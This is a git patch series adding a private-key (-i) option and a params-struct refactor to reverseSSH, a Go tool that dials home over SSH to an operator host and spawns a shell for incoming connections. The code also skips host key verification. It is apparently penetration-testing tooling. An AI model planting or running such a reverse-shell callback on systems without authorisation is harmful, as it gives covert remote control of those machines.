From 0af3a164bfa1709e1a1c7fa18cd4e6aeab121944 Mon Sep 17 00:00:00 2001 From: Ferdinor Date: Mon, 14 Feb 2022 23:28:22 +0100 Subject: [PATCH 1/2] Pass params struct to dialHomeAndListen --- core.go | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/core.go b/core.go index e5e709b..2edf230 100644 --- a/core.go +++ b/core.go @@ -127,14 +127,14 @@ func createSFTPHandler() ssh.SubsystemHandler { } } -func dialHomeAndListen(username string, address string, homeBindPort uint, askForPassword bool) (net.Listener, error) { +func dialHomeAndListen(address string, p *params) (net.Listener, error) { var ( err error client *gossh.Client ) config := &gossh.ClientConfig{ - User: username, + User: p.LUSER, Auth: []gossh.AuthMethod{ gossh.Password(localPassword), }, @@ -146,7 +146,7 @@ func dialHomeAndListen(username string, address string, homeBindPort uint, askFo client, err = gossh.Dial("tcp", address, config) if err == nil { break - } else if strings.HasSuffix(err.Error(), "no supported methods remain") && askForPassword { + } else if strings.HasSuffix(err.Error(), "no supported methods remain") && p.verbose { fmt.Println("Enter password:") data, err := term.ReadPassword(int(syscall.Stdin)) if err != nil { @@ -162,7 +162,7 @@ func dialHomeAndListen(username string, address string, homeBindPort uint, askFo } } - ln, err := client.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", homeBindPort)) + ln, err := client.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", p.homeBindPort)) if err != nil { return nil, err } @@ -358,7 +358,7 @@ func run(p *params, server ssh.Server) { } else { target := net.JoinHostPort(p.LHOST, fmt.Sprintf("%d", p.LPORT)) log.Printf("Dialling home via ssh to %s", target) - ln, err = dialHomeAndListen(p.LUSER, target, p.homeBindPort, p.verbose) + ln, err = dialHomeAndListen(target, p) } if err != nil { From c08b25f1504be6000e4d6674d4d08ba9cb401c76 Mon Sep 17 00:00:00 2001 From: Ferdinor Date: Mon, 14 Feb 2022 23:28:44 +0100 Subject: [PATCH 2/2] Add -i flag to authenticate with ssh private key --- Readme.md | 2 ++ core.go | 53 +++++++++++++++++++++++++++++++++++++++-------------- 2 files changed, 41 insertions(+), 14 deletions(-) diff --git a/Readme.md b/Readme.md index 25f7c34..0e483ec 100644 --- a/Readme.md +++ b/Readme.md @@ -138,6 +138,8 @@ Options: -p, Port at which reverseSSH is listening for incoming ssh connections (bind scenario) or where it tries to establish a ssh connection (reverse scenario) (default: 31337) -b, Reverse scenario only: bind to this port after dialling home (default: 8888) + -i, Reverse scenario only: attempt to authenticate with this ssh private key when dialling home + (similar to ssh's identity_file) -s, Shell to spawn for incoming connections, e.g. /bin/bash; (default: /bin/bash) for windows this can only be used to give a path to 'ssh-shellhost.exe' to enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory) diff --git a/core.go b/core.go index 2edf230..4f2fd7f 100644 --- a/core.go +++ b/core.go @@ -38,14 +38,15 @@ import ( ) type params struct { - LUSER string - LHOST string - LPORT uint - homeBindPort uint - listen bool - shell string - noShell bool - verbose bool + LUSER string + LHOST string + LPORT uint + reverseSshKeyPath string + homeBindPort uint + listen bool + shell string + noShell bool + verbose bool } func createLocalPortForwardingCallback(forbidden bool) ssh.LocalPortForwardingCallback { @@ -129,15 +130,20 @@ func createSFTPHandler() ssh.SubsystemHandler { func dialHomeAndListen(address string, p *params) (net.Listener, error) { var ( - err error - client *gossh.Client + err error + client *gossh.Client + authMethods []gossh.AuthMethod ) + if p.reverseSshKeyPath != "" { + if signer := loadSshPrivateKey(p.reverseSshKeyPath); signer != nil { + authMethods = append(authMethods, gossh.PublicKeys(signer)) + } + } + config := &gossh.ClientConfig{ - User: p.LUSER, - Auth: []gossh.AuthMethod{ - gossh.Password(localPassword), - }, + User: p.LUSER, + Auth: append(authMethods, gossh.Password(localPassword)), HostKeyCallback: gossh.InsecureIgnoreHostKey(), } @@ -174,6 +180,22 @@ func dialHomeAndListen(address string, p *params) (net.Listener, error) { return ln, nil } +func loadSshPrivateKey(keyPath string) gossh.Signer { + key, err := ioutil.ReadFile(keyPath) + if err != nil { + log.Printf("Unable to read private key: %v", err) + return nil + } + + signer, err := gossh.ParsePrivateKey(key) + if err != nil { + log.Printf("Unable to parse private key: %v", err) + return nil + } + + return signer +} + type ExtraInfo struct { CurrentUser string Hostname string @@ -250,6 +272,8 @@ Options: -p, Port at which reverseSSH is listening for incoming ssh connections (bind scenario) or where it tries to establish a ssh connection (reverse scenario) (default: %[6]s) -b, Reverse scenario only: bind to this port after dialling home (default: %[7]s) + -i, Reverse scenario only: attempt to authenticate with this ssh private key when dialling home + (similar to ssh's identity_file) -s, Shell to spawn for incoming connections, e.g. /bin/bash; (default: %[5]s) for windows this can only be used to give a path to 'ssh-shellhost.exe' to enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory) @@ -286,6 +310,7 @@ Credentials: flag.UintVar(&p.homeBindPort, "b", uint(homeBindPort), "") flag.BoolVar(&p.listen, "l", false, "") flag.StringVar(&p.shell, "s", defaultShell, "") + flag.StringVar(&p.reverseSshKeyPath, "i", "", "") flag.BoolVar(&p.noShell, "N", false, "") flag.BoolVar(&p.verbose, "v", false, "") flag.Parse()